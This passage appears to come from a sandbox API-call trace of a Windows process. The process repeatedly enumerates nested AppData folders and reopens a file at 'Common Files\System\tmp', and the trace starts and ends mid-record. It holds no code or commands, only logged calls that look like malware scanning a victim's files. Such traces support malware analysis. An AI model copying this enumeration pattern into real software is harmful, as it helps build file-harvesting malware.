lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.902] GetFileType (hFile=0x18c) returned 0x1 [0127.902] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x8878e8, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.903] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.903] GetLastError () returned 0x12 [0127.903] AreFileApisANSI () returned 1 [0127.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.903] GetFileType (hFile=0x18c) returned 0x1 [0127.903] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.904] AreFileApisANSI () returned 1 [0127.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.904] GetFileType (hFile=0x190) returned 0x1 [0127.904] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.942] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.942] GetLastError () returned 0x12 [0127.943] AreFileApisANSI () returned 1 [0127.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.943] GetFileType (hFile=0x190) returned 0x1 [0127.943] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xc000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xb9c9, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.943] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.943] GetLastError () returned 0x12 [0127.943] AreFileApisANSI () returned 1 [0127.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.943] GetFileType (hFile=0x18c) returned 0x1 [0127.943] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.944] AreFileApisANSI () returned 1 [0127.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.944] GetFileType (hFile=0x190) returned 0x1 [0127.945] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.945] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.945] GetLastError () returned 0x12 [0127.945] AreFileApisANSI () returned 1 [0127.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.945] GetFileType (hFile=0x190) returned 0x1 [0127.945] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.946] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.946] GetLastError () returned 0x12 [0127.946] AreFileApisANSI () returned 1 [0127.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.946] GetFileType (hFile=0x190) returned 0x1 [0127.946] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.946] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.946] GetLastError () returned 0x12 [0127.947] AreFileApisANSI () returned 1 [0127.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.947] GetFileType (hFile=0x190) returned 0x1 [0127.947] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.947] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.947] GetLastError () returned 0x12 [0127.947] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.947] GetLastError () returned 0x12 [0127.947] AreFileApisANSI () returned 1 [0127.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.948] GetFileType (hFile=0x18c) returned 0x1 [0127.948] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.948] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.948] GetLastError () returned 0x12 [0127.948] AreFileApisANSI () returned 1 [0127.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.948] GetFileType (hFile=0x18c) returned 0x1 [0127.948] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.949] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.949] GetLastError () returned 0x12 [0127.949] AreFileApisANSI () returned 1 [0127.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.949] GetFileType (hFile=0x18c) returned 0x1 [0127.949] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.949] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.949] GetLastError () returned 0x12 [0127.949] AreFileApisANSI () returned 1 [0127.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.950] GetFileType (hFile=0x18c) returned 0x1 [0127.950] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.950] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.950] GetLastError () returned 0x12 [0127.950] AreFileApisANSI () returned 1 [0127.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.950] GetFileType (hFile=0x18c) returned 0x1 [0127.950] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.951] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.951] GetLastError () returned 0x12 [0127.951] AreFileApisANSI () returned 1 [0127.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.951] GetFileType (hFile=0x18c) returned 0x1 [0127.951] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x8878e8, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.952] AreFileApisANSI () returned 1 [0127.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.952] GetFileType (hFile=0x190) returned 0x1 [0127.952] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.988] AreFileApisANSI () returned 1 [0127.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.988] GetFileType (hFile=0x194) returned 0x1 [0127.989] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0xd000, nFileSizeHigh=0x0, nFileSizeLow=0xc610, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.989] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.989] GetLastError () returned 0x12 [0127.989] AreFileApisANSI () returned 1 [0127.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.989] GetFileType (hFile=0x190) returned 0x1 [0127.989] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xd000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xc713, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.989] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.989] GetLastError () returned 0x12 [0127.990] AreFileApisANSI () returned 1 [0127.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.990] GetFileType (hFile=0x18c) returned 0x1 [0127.990] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, 